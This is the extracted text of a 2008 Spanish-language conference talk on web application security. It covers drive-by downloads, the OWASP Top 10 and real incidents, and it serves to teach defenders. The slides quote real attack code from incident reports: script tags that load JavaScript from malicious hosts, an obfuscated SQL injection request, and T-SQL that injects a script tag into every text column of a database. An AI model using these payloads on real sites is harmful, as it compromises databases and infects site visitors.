Seguridad en aplicaciones Web: un enfoque
práctico en el entorno universitario (UCLM)
www.raulsiles.com
www.raulsiles.com
www.raulsiles.com
www.raulsiles.com
VI Foro de seguridad RedIRIS
Seguridad en Web
27 y 28 de marzo de 2008
[email protected]
Ponente
• Raúl Siles
• GSE
• Consultor de seguridad independiente
• Miembro del Honeynet Project (SHP)
– www.honeynet.org
• Miembro del Internet Storm Center (ISC)
– isc.sans.org
• Instructor del SANS…
www.raulsiles.com
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 2
Índice
• Evolución de las amenazas e incidentes
en Internet
– Papel de los servidores y aplicaciones
Web en los ataques a usuarios finales
• Vulnerabilidades, exploits e incidentes
en aplicaciones Web
• El siguiente objetivo…
– Dispositivos embebidos
Estrategia de seguridad en aplicaciones
Web: ¡es hora de actuar!
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 3
Evolución de las amenazas e
incidentes en Internet
Seguridad en aplicaciones Web © 2008 Raúl Siles – www.raulsiles.com 4
Hace mucho, mucho tiempo…
… en una Internet muy lejana
Clientes
Firewalls routers
y NAT
Filtros e-mail y
concienciación
Servidores
Firewalls
Firewalls
personales
Ataques
directos:
servicios
¡Fama!
E-mail
Múltiples
servicios:
DNS, FTP, RPCs…
Web: defacements
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 5
Hoy en día…
Clientes
TheTheTheThe WildWildWildWild Wide Wide Wide Wide WestWestWestWest (WWW)
(WWW)
(WWW)
(WWW)
Ataques vía Web
Servidores
Web
Firewalls
Ataques
dirigidos
E-mail
Ataques Web
(80 y 443)
Web: intermediario
¡$$$$$$$$$ y €!
Bots (StormWorm)
& RBN (China)
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 6
Drive-by downloads
• Software (malware) descargado desde
el ordenador sin la intervención o el
conocimiento del usuario
• Simplemente por visitar una página
Web
– Sin pulsar explícitamente en un enlace
• Explota vulnerabilidades en el
navegador o sus extensiones, software
asociado (Adobe Reader, Flash…),
software cliente, o el SO (y librerías)
– ¿Situación en los últimos 6 meses?
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 7
Drive-By…
• Adobe Reader
• Quick Time
• Java
• MS Office
– Word, Excel,
PowerPoint, etc
• RealPlayer
• Skype
• iTunes
• Adobe Flash
• Navegador
– Firefox, IE, Safari, etc
• Lector correo
– Outlook, Thunderbird, etc
• Clientes IM
• VLC, MediaPlayer, etc
• WinZIP
• WinRAR
Llevo un navegador dentro de mí ☺
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 8
Mpack:
Web, malware, botnets, etc
Mpack, Icepack, Webattacker…
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 9
Seguridad en aplicaciones Web
Problemática
• Públicamente disponibles y gran ubicuidad
• Puertos: ¿Utilidad de los firewalls?
– TCP 80 (HTTP) y 443 (HTTPS)
• HTTP es un protocolo complejo que permite procesar
datos del usuario
• Web 2.0: + complejidad
• Técnicas de ataque sencillas
• Anonimato de Internet (proxies anónimos)
• Código propietario y (probablemente) no verificado
•
• Cambio constante del código, ¿versiones?
¡En busca de dinero! (E-commerce)
¿Cuál es la versión actual de tu aplicación Web? ¿2.9.905?
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 10
Vulnerabilidades, exploits e
incidentes en aplicaciones Web
Seguridad en aplicaciones Web © 2008 Raúl Siles – www.raulsiles.com 11
Vulnerabilidades Web
Seguridad en aplicaciones Web © 2008 Raúl Siles – www.raulsiles.com 12
Vulnerabilidades
Prioridades y estadísticas
• OWASP Top 10:
– Fallos, vulnerabilidades y amenazas de
seguridad más críticas en aplicaciones
Web, ordenados por criticidad
• Algunas ausentes en 2007:
– Ataques a ciegas (inyección SQL y Xpath),
o inyección en LDAP
• Cambio de prioridades en 2008:
– CSRF, XSS, inyección, etc
http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 13
OWASP Top 10
• A1 – Cross Site Scripting (XSS)
• A2 – Ataques de inyección
• A3 – Ejecución de ficheros y código malicioso
• A4 – Referencias directas a objetos inseguras
• A5 – Cross Site Request Forgery (CSRF)
• A6 – Filtrado de información y gestión incorrecta de
errores
• A7 – Autentificación y gestión de sesiones
• A8 – Almacenamiento criptográfico inseguro
• A9 – Comunicaciones inseguras
• A10 – Fallo al restringir el acceso a URLs
2008: Cross-Site “lo que sea”
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 14
SANS Top 20
EEEEjjjjeeeemmmmpppplllloooossss
ccccaaaaddddaaaa
sssseeeemmmmaaaannnnaaaa
• Riesgos de seguridad (2007)
• Vulnerabilidades en servidores
– S.1 Aplicaciones Web
– Vuln. en aplicaciones
Web comerciales u
open-source
– ¿Aplicaciones propietarias?
http://www.sans.org/top20/
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 15
Exploits Web
Seguridad en aplicaciones Web © 2008 Raúl Siles – www.raulsiles.com 16
Exploits: aplicaciones Web
Core Impact 7.5: Aplicaciones Web
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 17
Incidentes de seguridad Web
Seguridad en aplicaciones Web © 2008 Raúl Siles – www.raulsiles.com 18
Incidentes: ¿Dónde (no) está la
amenaza en la Web?
• Servidores Web maliciosos
– Servidores Web y equipos de usuarios
• Servidores Web con mala reputación
– Software pirata y nº. serie, porno, drogas, apuestas, etc
• Servidores Web comprometidos
• Servidores de Web hosting compartido
• Servidores Web publicando contenido malicioso de 3º’s
– Anuncios (Ads), contadores…; relaciones entre compañías
• Servidores Web publicando contenido de los usuarios
(Web 2.0)
– eBay, foros, blogs (tema candente), etc
– Comunidades en línea: Youtube, Myspace, Facebook, etc
• Buscadores Web (SEO)
¡Navega sólo a sitios Web de confianza! ☺ ~ 10% es malicioso
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 19
¿Web defacementsen 2008?
http://www.zone-h.org
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 20
Super Bowl XLI
Web de Miami Dolphin Stadium
• Febrero 2007
– dolphinstadium.com
• Vulnerabilidad:
Inyección SQL en Dreamweaver
–
– Ausencia de validación de entrada en el código
vulnerable (según cada aplicación Web)
– Contenidos de la Web almacenados en BD
• Exploits:
– MS06-014 (MDAC) y MS07-004 (VML)
–
Instalación de keylogger/backdoor: w1c.exe (WoW)
http://www.websense.com/securitylabs/alerts/alert.php?AlertID=733
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 21
Super Bowl XLI (2)
Web de Miami Dolphin Stadium
• Muchos más sitios comprometidos:
– Ataques dirigidos: hospitales, apuestas, etc
<script src=“http://dv521.com/3.js></script>
• Muchos más sitios Web sirviendo scripts
– 3.js (ene’07), 1.js (dic’06), 8.js (feb’07), etc
– Google (~200K enlaces)
• Estar en el sitio adecuado en el momento
justo: ¿nº. visitantes?
http://isc.sans.org/diary.html?storyid=2166 & 2178 & 2187…
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 22
MySpace: Nuevo XSS
• MySpace: Comunidad en línea
– Filtrado de la entrada del usuario en el portal, al
editar el perfil del usuario
• Versión móvil: mobile.myspace.com
– Diciembre 2007 (nueva vulnerabilidad)
– Filtrado de la salida del usuario, al mostrar el
contenido del perfil
• Inserción de Javascript/HTML en la versión
móvil para atacar a los usuarios del portal
– Cuando se arregle, ¿qué pasa con
los perfiles ya contaminados?
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 23
Robot de inyección SQL masiva
• Diciembre 2007
– Último incidente de 2007, primero de 2008
– WHID 2007-82
• 70.000 sitios Web comprometidos
• Inyección SQL automática
•
– Script automático o robot (~ gusano)
Inyección SQL genérica
– IIS y MS SQL Server
– POST /my.asp?s=300’<código SQL>…
http://www.webappsec.org/projects/whid/byid_id_2007-82.shtml
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 24
Robot de inyección SQL masiva
(2)
• Redirección de los usuarios a una Web
con malware – infección masiva
• Inserta redirección a “uc8010.com”
(China) en cada registro de tipo
VARCHAR
<script src="http://c.uc8010.com/0.js"></script>
• Restaurar la base de datos, ¿backup?
• La Web maliciosa explota una
vulnerabilidad en Real Player para la que
no hay parche:
http://isc.sans.org/diary.html?storyid=3810
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 25
Robot de inyección SQL masiva
(3)
• Inyección SQL ofuscada:
GET /home/site_content_3.asp?
s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST
(0x640065…03B00%20AS%20NVARCHAR(4000));EXEC(@S);--
• CAST: Conversión entre tipos (@S=…;)
Para todas las tablas de usuario (U), buscar las
columnas de tipo VARCHAR y hacer un UPDATE
declare @m varchar(8000);set @m='';select
@m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+
'))+''<script src="http://yl18.net/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id
and a.xtype='U' and b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set
@m=REVERSE(@m);exec(@m);
de la fila, añadiendo “<script>…</script>”
http://isc.sans.org/diary.html?storyid=3823
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 26
SPAM & Phising
¿nadie pica, no?
¿Y los filtros
anti-SPAM y
anti-phising?
Se contratan traductores: ¡Razón aquí!
http://211.35.49.230
Última semana
febrero 08:
• IberCaja
• La Caixa
• Openbank
• Cajamadrid
• Santander …
http://0xd3.0x23.0x31e6/.clientes.ibercaja.es/Login_asp.htm
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 27
Seguridad en aplicaciones Web © 2008 Raúl Siles - www.raulsiles.com 28
http://www.bankofamerica.com/global/
mvc
Comentarios de: Seguridad en aplicaciones Web: un enfoque práctico en el entorno universitario (UCLM) (0)
No hay comentarios